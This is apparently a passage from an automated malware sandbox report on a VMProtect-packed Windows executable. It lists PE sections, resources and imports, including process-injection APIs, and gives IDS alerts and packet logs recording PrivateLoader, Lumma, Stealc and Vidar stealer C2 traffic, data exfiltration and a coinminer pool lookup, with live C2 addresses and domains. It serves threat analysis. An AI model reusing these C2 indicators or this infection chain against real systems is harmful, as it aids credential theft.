.rdata	0x11e000	0x32472	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x151000	0x84b8	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x15a000	0x75e4	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
_RDATA	0x162000	0x1f4	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.vmp	0x163000	0x256715	0x0	d41d8cd98f00b204e9800998ecf8427e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.vmp	0x3ba000	0xae8	0xc00	9b48abfd9940f771a62a9605c942f26b	False	0.2972005208333333	data	2.3587550958692773	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.vmp	0x3bb000	0x418e74	0x419000	62eebaed0f861f449b24857ab6c1fbbe	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_NOT_PAGED, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.reloc	0x7d4000	0x156c	0x1600	5bab6a92f830046088b53c53124e55d8	False	0.1953125	GLS_BINARY_LSB_FIRST	5.407961382729263	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x7d6000	0x19a80	0x19c00	597cd22e00253ac0b6e244d78911f013	False	0.27336165048543687	data	4.411845999086291	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x7d6358	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 3779 x 3779 px/m	English	United States	0.599290780141844
RT_ICON	0x7d67c0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 3779 x 3779 px/m	English	United States	0.4275328330206379
RT_ICON	0x7d7868	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 3779 x 3779 px/m	English	United States	0.3575726141078838
RT_ICON	0x7d9e10	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384, resolution 3779 x 3779 px/m	English	United States	0.32002834199338687
RT_ICON	0x7de038	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	English	United States	0.19623655913978494
RT_ICON	0x7de320	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	German	Germany	0.3077956989247312
RT_ICON	0x7de608	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	German	Germany	0.26344086021505375
RT_ICON	0x7de8f0	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536, resolution 3779 x 3779 px/m	English	United States	0.24097953389329232
RT_GROUP_ICON	0x7ef118	0x4c	data	English	United States	0.7763157894736842
RT_GROUP_ICON	0x7ef168	0x14	data	English	United States	1.25
RT_GROUP_ICON	0x7ef180	0x14	data	German	Germany	1.25
RT_GROUP_ICON	0x7ef198	0x14	data	German	Germany	1.25
RT_HTML	0x7ef1b0	0x3ab	HTML document, ISO-8859 text, with CRLF line terminators	German	Germany	0.402555910543131
RT_HTML	0x7ef560	0x395	HTML document, ASCII text, with CRLF line terminators	German	Germany	0.3969465648854962
RT_MANIFEST	0x7ef8f8	0x188	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5892857142857143

Imports

DLL	Import
KERNEL32.dll	InitializeCriticalSectionEx, CreateMutexA, lstrcatA, GetModuleHandleA, SetCurrentDirectoryA, Sleep, GetModuleHandleExA, GetFileAttributesA, GetBinaryTypeA, FindClose, SetFileAttributesA, VerSetConditionMask, WideCharToMultiByte, VerifyVersionInfoW, CreateProcessA, GetSystemTimeAsFileTime, HeapFree, lstrlenA, HeapAlloc, GetProcAddress, lstrcpynA, GetProcessHeap, WriteConsoleW, CloseHandle, CreateFileA, GetLastError, CreateFileW, WriteFile, lstrcpyA, ReadFile, HeapSize, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, GetCommandLineA, GetOEMCP, GetACP, IsValidCodePage, InitializeSListHead, ReleaseSRWLockExclusive, AcquireSRWLockExclusive, WakeAllConditionVariable, SleepConditionVariableSRW, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, IsProcessorFeaturePresent, GetModuleHandleW, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, LocalFree, FindFirstFileExW, FindNextFileW, MultiByteToWideChar, QueryPerformanceFrequency, LCMapStringEx, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, EncodePointer, DecodePointer, GetCPInfo, GetStringTypeW, SetLastError, GetCurrentThread, GetThreadTimes, RtlUnwindEx, InterlockedPushEntrySList, RtlPcToFileHeader, RaiseException, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, LoadLibraryExW, SetFilePointerEx, GetFileType, GetCurrentProcess, ExitProcess, TerminateProcess, GetModuleHandleExW, GetModuleFileNameW, GetStdHandle, GetConsoleMode, ReadConsoleW, GetConsoleOutputCP, SetStdHandle, FlsAlloc, FlsGetValue, FlsSetValue, FlsFree, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, SetEndOfFile, GetFileSizeEx, FlushFileBuffers, HeapReAlloc, RtlUnwind
USER32.dll	GetCursorPos, CharNextA
ADVAPI32.dll	RegCloseKey, RegCreateKeyExA, RegSetValueExA, RegOpenKeyExA, CryptReleaseContext
SHELL32.dll	SHGetFolderPathA, ShellExecuteA
ole32.dll	CoCreateInstance, CoInitializeSecurity, CoInitializeEx, CoUninitialize
OLEAUT32.dll	VariantClear, SysAllocString, SysFreeString
KERNEL32.dll	GetSystemTimeAsFileTime, CreateEventA, GetModuleHandleA, TerminateProcess, GetCurrentProcess, CreateToolhelp32Snapshot, Thread32First, GetCurrentProcessId, GetCurrentThreadId, OpenThread, Thread32Next, CloseHandle, SuspendThread, ResumeThread, WriteProcessMemory, GetSystemInfo, VirtualAlloc, VirtualProtect, VirtualFree, GetProcessAffinityMask, SetProcessAffinityMask, GetCurrentThread, SetThreadAffinityMask, Sleep, LoadLibraryA, FreeLibrary, GetTickCount, SystemTimeToFileTime, FileTimeToSystemTime, GlobalFree, HeapAlloc, HeapFree, GetProcAddress, ExitProcess, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSection, DeleteCriticalSection, MultiByteToWideChar, GetModuleHandleW, LoadResource, FindResourceExW, FindResourceExA, WideCharToMultiByte, GetThreadLocale, GetUserDefaultLCID, GetSystemDefaultLCID, EnumResourceNamesA, EnumResourceNamesW, EnumResourceLanguagesA, EnumResourceLanguagesW, EnumResourceTypesA, EnumResourceTypesW, CreateFileW, LoadLibraryW, GetLastError, FlushFileBuffers, FlsSetValue, GetCommandLineA, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, EncodePointer, DecodePointer, FlsGetValue, FlsFree, SetLastError, FlsAlloc, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, RtlVirtualUnwind, RtlLookupFunctionEntry, RtlCaptureContext, RaiseException, RtlPcToFileHeader, RtlUnwindEx, LCMapStringA, LCMapStringW, SetHandleCount, GetStdHandle, GetFileType, GetStartupInfoA, GetModuleFileNameA, FreeEnvironmentStringsA, GetEnvironmentStrings, FreeEnvironmentStringsW, GetEnvironmentStringsW, HeapSetInformation, HeapCreate, HeapDestroy, QueryPerformanceCounter, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, HeapSize, WriteFile, SetFilePointer, GetConsoleCP, GetConsoleMode, HeapReAlloc, InitializeCriticalSectionAndSpinCount, SetStdHandle, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW, CreateFileA

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States
German	Germany

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Severity	Source Port	Dest Port	Source IP	Dest IP
2024-08-30T06:18:38.110109+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	49810	443	192.168.2.4	188.114.96.3
2024-08-30T06:18:04.165776+0200	TCP	2049836	ET MALWARE Lumma Stealer Related Activity	1	49784	443	192.168.2.4	188.114.96.3
2024-08-30T06:18:04.165776+0200	TCP	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	49784	443	192.168.2.4	188.114.96.3
2024-08-30T06:16:56.977286+0200	TCP	2054709	ET MALWARE PrivateLoader CnC Activity (GET)	1	49730	80	192.168.2.4	195.10.205.48
2024-08-30T06:17:23.191080+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49745	80	192.168.2.4	46.8.231.109
2024-08-30T06:18:14.776894+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49790	80	192.168.2.4	193.176.190.41
2024-08-30T06:17:34.237719+0200	UDP	2055479	ET MALWARE Lumma Stealer Domain in DNS Lookup (locatedblsoqp .shop)	1	55794	53	192.168.2.4	1.1.1.1
2024-08-30T06:18:13.869732+0200	TCP	2049836	ET MALWARE Lumma Stealer Related Activity	1	49802	443	192.168.2.4	188.114.96.3
2024-08-30T06:18:13.869732+0200	TCP	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	49802	443	192.168.2.4	188.114.96.3
2024-08-30T06:17:18.052597+0200	TCP	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	49745	80	192.168.2.4	46.8.231.109
2024-08-30T06:18:07.718664+0200	TCP	2055493	ET MALWARE Lumma Stealer Domain in TLS SNI (traineiwnqo .shop)	1	49793	443	192.168.2.4	188.114.96.3
2024-08-30T06:17:17.267650+0200	TCP	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	80	49745	46.8.231.109	192.168.2.4
2024-08-30T06:17:03.353238+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49735	80	192.168.2.4	147.45.44.104
2024-08-30T06:17:32.454906+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49751	80	192.168.2.4	147.45.44.104
2024-08-30T06:17:40.220502+0200	TCP	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	80	49756	147.45.68.138	192.168.2.4
2024-08-30T06:18:01.197423+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49782	80	192.168.2.4	147.45.44.104
2024-08-30T06:18:16.274118+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49790	80	192.168.2.4	193.176.190.41
2024-08-30T06:18:21.405279+0200	TCP	2044249	ET MALWARE Win32/Stealc Submitting Screenshot to C2	1	49790	80	192.168.2.4	193.176.190.41
2024-08-30T06:18:56.089108+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	49812	443	192.168.2.4	188.114.96.3
2024-08-30T06:17:17.461751+0200	TCP	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	80	49745	46.8.231.109	192.168.2.4
2024-08-30T06:17:34.710566+0200	TCP	2055489	ET MALWARE Lumma Stealer Domain in TLS SNI (locatedblsoqp .shop)	1	49753	443	192.168.2.4	188.114.97.3
2024-08-30T06:17:36.752036+0200	TCP	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	49755	443	192.168.2.4	188.114.97.3
2024-08-30T06:17:36.752036+0200	TCP	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	49755	443	192.168.2.4	188.114.97.3
2024-08-30T06:17:41.517699+0200	TCP	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	80	49756	147.45.68.138	192.168.2.4
2024-08-30T06:18:07.271414+0200	TCP	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	49790	80	192.168.2.4	193.176.190.41
2024-08-30T06:17:01.830164+0200	TCP	2054711	ET MALWARE PrivateLoader CnC Activity (POST)	1	49730	80	192.168.2.4	195.10.205.48
2024-08-30T06:17:04.704358+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49735	80	192.168.2.4	147.45.44.104
2024-08-30T06:17:39.448418+0200	TCP	2049087	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST	1	49756	80	192.168.2.4	147.45.68.138
2024-08-30T06:18:01.748505+0200	UDP	2055575	ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (awwardwiqi .shop)	1	55149	53	192.168.2.4	1.1.1.1
2024-08-30T06:17:35.126456+0200	TCP	2049836	ET MALWARE Lumma Stealer Related Activity	1	49753	443	192.168.2.4	188.114.97.3
2024-08-30T06:17:35.126456+0200	TCP	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	49753	443	192.168.2.4	188.114.97.3
2024-08-30T06:18:18.732124+0200	TCP	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	49805	443	192.168.2.4	188.114.96.3
2024-08-30T06:18:18.732124+0200	TCP	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	49805	443	192.168.2.4	188.114.96.3
2024-08-30T06:17:59.027511+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49782	80	192.168.2.4	147.45.44.104
2024-08-30T06:18:05.396643+0200	TCP	2054495	ET MALWARE Vidar Stealer Form Exfil	1	49786	80	192.168.2.4	95.164.119.162
2024-08-30T06:17:17.221376+0200	TCP	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	49745	80	192.168.2.4	46.8.231.109
2024-08-30T06:18:14.363672+0200	TCP	2055489	ET MALWARE Lumma Stealer Domain in TLS SNI (locatedblsoqp .shop)	1	49803	443	192.168.2.4	188.114.96.3
2024-08-30T06:19:03.477473+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	49813	443	192.168.2.4	188.114.96.3
2024-08-30T06:18:13.674396+0200	TCP	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	80	49796	147.45.68.138	192.168.2.4
2024-08-30T06:17:17.438990+0200	TCP	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	49745	80	192.168.2.4	46.8.231.109
2024-08-30T06:18:07.726343+0200	TCP	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	49790	80	192.168.2.4	193.176.190.41
2024-08-30T06:18:13.537395+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49790	80	192.168.2.4	193.176.190.41
2024-08-30T06:18:02.222056+0200	TCP	2055576	ET MALWARE Observed Lumma Stealer Related Domain (awwardwiqi .shop in TLS SNI)	1	49783	443	192.168.2.4	188.114.96.3
2024-08-30T06:18:07.492651+0200	TCP	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	49790	80	192.168.2.4	193.176.190.41
2024-08-30T06:18:03.693909+0200	TCP	2055489	ET MALWARE Lumma Stealer Domain in TLS SNI (locatedblsoqp .shop)	1	49784	443	192.168.2.4	188.114.96.3
2024-08-30T06:17:24.907743+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49745	80	192.168.2.4	46.8.231.109
2024-08-30T06:17:18.253321+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49745	80	192.168.2.4	46.8.231.109
2024-08-30T06:17:35.129336+0200	UDP	2055483	ET MALWARE Lumma Stealer Domain in DNS Lookup (traineiwnqo .shop)	1	65042	53	192.168.2.4	1.1.1.1
2024-08-30T06:18:11.745499+0200	TCP	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	80	49796	147.45.68.138	192.168.2.4
2024-08-30T06:18:08.675243+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49790	80	192.168.2.4	193.176.190.41
2024-08-30T06:17:33.722435+0200	TCP	2055576	ET MALWARE Observed Lumma Stealer Related Domain (awwardwiqi .shop in TLS SNI)	1	49752	443	192.168.2.4	188.114.97.3
2024-08-30T06:18:15.611037+0200	TCP	2055493	ET MALWARE Lumma Stealer Domain in TLS SNI (traineiwnqo .shop)	1	49804	443	192.168.2.4	188.114.96.3
2024-08-30T06:18:07.552012+0200	TCP	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	80	49790	193.176.190.41	192.168.2.4
2024-08-30T06:17:00.563664+0200	TCP	2054710	ET MALWARE PrivateLoader CnC Response	1	80	49730	195.10.205.48	192.168.2.4
2024-08-30T06:17:35.763263+0200	TCP	2049836	ET MALWARE Lumma Stealer Related Activity	1	49754	443	192.168.2.4	188.114.97.3
2024-08-30T06:17:35.763263+0200	TCP	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	49754	443	192.168.2.4	188.114.97.3
2024-08-30T06:17:03.690788+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49740	443	192.168.2.4	76.76.21.123
2024-08-30T06:17:25.611467+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49745	80	192.168.2.4	46.8.231.109
2024-08-30T06:17:49.242950+0200	UDP	2036289	ET COINMINER CoinMiner Domain in DNS Lookup (pool .hashvault .pro)	2	51377	53	192.168.2.4	1.1.1.1
2024-08-30T06:18:02.686767+0200	TCP	2049836	ET MALWARE Lumma Stealer Related Activity	1	49783	443	192.168.2.4	188.114.96.3
2024-08-30T06:18:02.686767+0200	TCP	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	49783	443	192.168.2.4	188.114.96.3
2024-08-30T06:18:07.770860+0200	TCP	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	80	49790	193.176.190.41	192.168.2.4
2024-08-30T06:18:05.096134+0200	TCP	2049836	ET MALWARE Lumma Stealer Related Activity	1	49787	443	192.168.2.4	188.114.96.3
2024-08-30T06:18:05.096134+0200	TCP	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	49787	443	192.168.2.4	188.114.96.3
2024-08-30T06:17:35.622869+0200	TCP	2055493	ET MALWARE Lumma Stealer Domain in TLS SNI (traineiwnqo .shop)	1	49754	443	192.168.2.4	188.114.97.3
2024-08-30T06:18:13.363610+0200	TCP	2055576	ET MALWARE Observed Lumma Stealer Related Domain (awwardwiqi .shop in TLS SNI)	1	49802	443	192.168.2.4	188.114.96.3
2024-08-30T06:17:03.917325+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49733	80	192.168.2.4	147.45.44.104
2024-08-30T06:18:36.911733+0200	TCP	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	80	49809	147.45.68.138	192.168.2.4
2024-08-30T06:17:03.345747+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49733	80	192.168.2.4	147.45.44.104
2024-08-30T06:18:08.150903+0200	TCP	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	49793	443	192.168.2.4	188.114.96.3
2024-08-30T06:18:08.150903+0200	TCP	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	49793	443	192.168.2.4	188.114.96.3
2024-08-30T06:18:15.507906+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49790	80	192.168.2.4	193.176.190.41
2024-08-30T06:17:16.225228+0200	TCP	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	49745	80	192.168.2.4	46.8.231.109
2024-08-30T06:18:14.818716+0200	TCP	2049836	ET MALWARE Lumma Stealer Related Activity	1	49803	443	192.168.2.4	188.114.96.3
2024-08-30T06:18:14.818716+0200	TCP	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	49803	443	192.168.2.4	188.114.96.3
2024-08-30T06:17:27.298066+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49745	80	192.168.2.4	46.8.231.109
2024-08-30T06:18:18.666009+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49790	80	192.168.2.4	193.176.190.41
2024-08-30T06:17:07.215650+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49735	80	192.168.2.4	147.45.44.104
2024-08-30T06:18:18.290914+0200	TCP	2055493	ET MALWARE Lumma Stealer Domain in TLS SNI (traineiwnqo .shop)	1	49805	443	192.168.2.4	188.114.96.3
2024-08-30T06:18:15.744597+0200	TCP	2049836	ET MALWARE Lumma Stealer Related Activity	1	49804	443	192.168.2.4	188.114.96.3
2024-08-30T06:18:15.744597+0200	TCP	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	49804	443	192.168.2.4	188.114.96.3
2024-08-30T06:17:03.637802+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49734	80	192.168.2.4	194.58.114.223
2024-08-30T06:18:08.376769+0200	TCP	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	49790	80	192.168.2.4	193.176.190.41
2024-08-30T06:17:34.169581+0200	TCP	2049836	ET MALWARE Lumma Stealer Related Activity	1	49752	443	192.168.2.4	188.114.97.3
2024-08-30T06:17:34.169581+0200	TCP	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	49752	443	192.168.2.4	188.114.97.3
2024-08-30T06:17:30.836556+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49751	80	192.168.2.4	147.45.44.104
2024-08-30T06:18:04.948927+0200	TCP	2055493	ET MALWARE Lumma Stealer Domain in TLS SNI (traineiwnqo .shop)	1	49787	443	192.168.2.4	188.114.96.3
2024-08-30T06:17:03.928029+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49735	80	192.168.2.4	147.45.44.104
2024-08-30T06:17:14.161554+0200	TCP	2054711	ET MALWARE PrivateLoader CnC Activity (POST)	1	49742	80	192.168.2.4	195.10.205.48
2024-08-30T06:17:33.228525+0200	UDP	2055575	ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (awwardwiqi .shop)	1	54562	53	192.168.2.4	1.1.1.1
2024-08-30T06:18:18.055186+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49790	80	192.168.2.4	193.176.190.41
2024-08-30T06:18:36.089721+0200	TCP	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	80	49809	147.45.68.138	192.168.2.4
2024-08-30T06:18:03.149485+0200	UDP	2055479	ET MALWARE Lumma Stealer Domain in DNS Lookup (locatedblsoqp .shop)	1	61366	53	192.168.2.4	1.1.1.1
2024-08-30T06:17:27.797866+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49745	80	192.168.2.4	46.8.231.109
2024-08-30T06:17:24.315536+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49745	80	192.168.2.4	46.8.231.109
2024-08-30T06:18:04.322073+0200	UDP	2055483	ET MALWARE Lumma Stealer Domain in DNS Lookup (traineiwnqo .shop)	1	50707	53	192.168.2.4	1.1.1.1
2024-08-30T06:18:23.804401+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49807	443	192.168.2.4	186.64.114.115
2024-08-30T06:18:23.804401+0200	TCP	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	49807	443	192.168.2.4	186.64.114.115
2024-08-30T06:17:36.314598+0200	TCP	2055493	ET MALWARE Lumma Stealer Domain in TLS SNI (traineiwnqo .shop)	1	49755	443	192.168.2.4	188.114.97.3

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 30, 2024 06:16:56.277729034 CEST	49730	80	192.168.2.4	195.10.205.48
Aug 30, 2024 06:16:56.282923937 CEST	80	49730	195.10.205.48	192.168.2.4
Aug 30, 2024 06:16:56.283000946 CEST	49730	80	192.168.2.4	195.10.205.48
Aug 30, 2024 06:16:56.283134937 CEST	49730	80	192.168.2.4	195.10.205.48
Aug 30, 2024 06:16:56.287929058 CEST	80	49730	195.10.205.48	192.168.2.4
Aug 30, 2024 06:16:56.931873083 CEST	80	49730	195.10.205.48	192.168.2.4
Aug 30, 2024 06:16:56.956717968 CEST	49731	443	192.168.2.4	104.26.8.59
Aug 30, 2024 06:16:56.956748009 CEST	443	49731	104.26.8.59	192.168.2.4
Aug 30, 2024 06:16:56.956844091 CEST	49731	443	192.168.2.4	104.26.8.59
Aug 30, 2024 06:16:56.959125042 CEST	49731	443	192.168.2.4	104.26.8.59
Aug 30, 2024 06:16:56.959135056 CEST	443	49731	104.26.8.59	192.168.2.4
Aug 30, 2024 06:16:56.977286100 CEST	49730	80	192.168.2.4	195.10.205.48
Aug 30, 2024 06:16:57.422878981 CEST	443	49731	104.26.8.59	192.168.2.4
Aug 30, 2024 06:16:57.423000097 CEST	49731	443	192.168.2.4	104.26.8.59
Aug 30, 2024 06:16:57.443089962 CEST	49731	443	192.168.2.4	104.26.8.59
Aug 30, 2024 06:16:57.443111897 CEST	443	49731	104.26.8.59	192.168.2.4
Aug 30, 2024 06:16:57.443352938 CEST	443	49731	104.26.8.59	192.168.2.4
Aug 30, 2024 06:16:57.500345945 CEST	49731	443	192.168.2.4	104.26.8.59
Aug 30, 2024 06:16:57.712296963 CEST	49731	443	192.168.2.4	104.26.8.59
Aug 30, 2024 06:16:57.752509117 CEST	443	49731	104.26.8.59	192.168.2.4
Aug 30, 2024 06:16:57.853576899 CEST	443	49731	104.26.8.59	192.168.2.4
Aug 30, 2024 06:16:57.853655100 CEST	443	49731	104.26.8.59	192.168.2.4
Aug 30, 2024 06:16:57.853698015 CEST	49731	443	192.168.2.4	104.26.8.59
Aug 30, 2024 06:16:57.854948997 CEST	49731	443	192.168.2.4	104.26.8.59
Aug 30, 2024 06:16:57.854964972 CEST	443	49731	104.26.8.59	192.168.2.4
Aug 30, 2024 06:16:57.854978085 CEST	49731	443	192.168.2.4	104.26.8.59
Aug 30, 2024 06:16:57.854984045 CEST	443	49731	104.26.8.59	192.168.2.4
Aug 30, 2024 06:16:57.865186930 CEST	49732	443	192.168.2.4	34.117.59.81
Aug 30, 2024 06:16:57.865217924 CEST	443	49732	34.117.59.81	192.168.2.4
Aug 30, 2024 06:16:57.865277052 CEST	49732	443	192.168.2.4	34.117.59.81
Aug 30, 2024 06:16:57.865576982 CEST	49732	443	192.168.2.4	34.117.59.81
Aug 30, 2024 06:16:57.865590096 CEST	443	49732	34.117.59.81	192.168.2.4
Aug 30, 2024 06:16:58.324506998 CEST	443	49732	34.117.59.81	192.168.2.4
Aug 30, 2024 06:16:58.324604034 CEST	49732	443	192.168.2.4	34.117.59.81
Aug 30, 2024 06:16:58.326925039 CEST	49732	443	192.168.2.4	34.117.59.81
Aug 30, 2024 06:16:58.326931953 CEST	443	49732	34.117.59.81	192.168.2.4
Aug 30, 2024 06:16:58.327147961 CEST	443	49732	34.117.59.81	192.168.2.4
Aug 30, 2024 06:16:58.327934980 CEST	49732	443	192.168.2.4	34.117.59.81
Aug 30, 2024 06:16:58.372499943 CEST	443	49732	34.117.59.81	192.168.2.4
Aug 30, 2024 06:16:58.460006952 CEST	443	49732	34.117.59.81	192.168.2.4
Aug 30, 2024 06:16:58.460170984 CEST	443	49732	34.117.59.81	192.168.2.4
Aug 30, 2024 06:16:58.460222006 CEST	49732	443	192.168.2.4	34.117.59.81
Aug 30, 2024 06:16:58.460336924 CEST	49732	443	192.168.2.4	34.117.59.81
Aug 30, 2024 06:16:58.460354090 CEST	443	49732	34.117.59.81	192.168.2.4
Aug 30, 2024 06:16:58.460362911 CEST	49732	443	192.168.2.4	34.117.59.81
Aug 30, 2024 06:16:58.460367918 CEST	443	49732	34.117.59.81	192.168.2.4
Aug 30, 2024 06:17:00.558748007 CEST	49730	80	192.168.2.4	195.10.205.48
Aug 30, 2024 06:17:00.558748960 CEST	49730	80	192.168.2.4	195.10.205.48
Aug 30, 2024 06:17:00.563663960 CEST	80	49730	195.10.205.48	192.168.2.4
Aug 30, 2024 06:17:00.563807011 CEST	80	49730	195.10.205.48	192.168.2.4
Aug 30, 2024 06:17:01.830079079 CEST	80	49730	195.10.205.48	192.168.2.4
Aug 30, 2024 06:17:01.830111027 CEST	80	49730	195.10.205.48	192.168.2.4
Aug 30, 2024 06:17:01.830163956 CEST	49730	80	192.168.2.4	195.10.205.48
Aug 30, 2024 06:17:02.000226021 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:02.000332117 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:02.000508070 CEST	49734	80	192.168.2.4	194.58.114.223
Aug 30, 2024 06:17:02.005491018 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:02.005532026 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:02.005543947 CEST	80	49734	194.58.114.223	192.168.2.4
Aug 30, 2024 06:17:02.005559921 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:02.005599976 CEST	49735	80	192.168.2.4	147.45.44.104
